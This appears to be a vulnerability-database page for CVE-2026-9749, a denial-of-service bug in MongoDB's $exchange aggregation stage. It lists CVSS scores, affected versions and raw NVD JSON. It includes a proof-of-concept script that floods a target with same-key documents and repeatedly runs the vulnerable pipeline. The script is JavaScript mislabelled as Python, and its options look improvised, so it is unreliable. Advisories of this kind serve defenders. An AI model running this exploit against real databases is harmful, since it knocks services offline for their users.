Security Vulnerability Report
中文
CVE-2026-9749 CVSS 6.5 MEDIUM

CVE-2026-9749

Published: 2026-06-09 23:17:04
Last Modified: 2026-06-10 19:43:29

Description

This issue can occur when running an aggregation pipeline that uses the internal $exchange stage configured with key-range partitioning and order-preserving delivery. If a single key range produces enough documents to fill its exchange buffer (that is, many results are routed to the same consumer), the server reaches the code path where a full per-consumer buffer is detected but the internal "high watermark" for that key range is not updated as intended.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 7.0.12
MongoDB Server 7.1.0 - 7.1.5
MongoDB Server 8.0.0 - 8.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-9749 PoC - MongoDB $exchange DoS // Target: MongoDB with aggregation pipeline using $exchange // Prerequisites: Low-privilege user access const { MongoClient } = require('mongodb'); async function exploitCVE20269749() { const mongoUrl = 'mongodb://target:27017/test'; const client = new MongoClient(mongoUrl); try { await client.connect(); const db = client.db('test'); // Create a collection with many documents const collection = db.collection('test_data'); await collection.createIndex({ keyField: 1 }); // Insert many documents with same key to fill buffer const bulkOps = []; for (let i = 0; i < 100000; i++) { bulkOps.push({ insertOne: { document: { keyField: 'SAME_KEY', data: 'A'.repeat(1000) } } }); } await collection.bulkWrite(bulkOps); // Trigger the vulnerable code path // Using $exchange with key-range partitioning const pipeline = [ { $match: { keyField: 'SAME_KEY' } }, { $exchange: { collection: 'output', mode: 'streamRows', partitionBy: 'keyField', partitionType: 'key-range', orderPreserving: true } } ]; // Execute aggregation multiple times to trigger DoS for (let i = 0; i < 100; i++) { try { await collection.aggregate(pipeline).toArray(); } catch (e) { console.log('Vulnerability triggered:', e.message); } } } finally { await client.close(); } } exploitCVE20269749();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9749", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:04.380", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue can occur when running an aggregation pipeline that uses the internal $exchange stage configured with key-range partitioning and order-preserving delivery. If a single key range produces enough documents to fill its exchange buffer (that is, many results are routed to the same consumer), the server reaches the code path where a full per-consumer buffer is detected but the internal \"high watermark\" for that key range is not updated as intended."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-124031", "source": "[email protected]"}]}}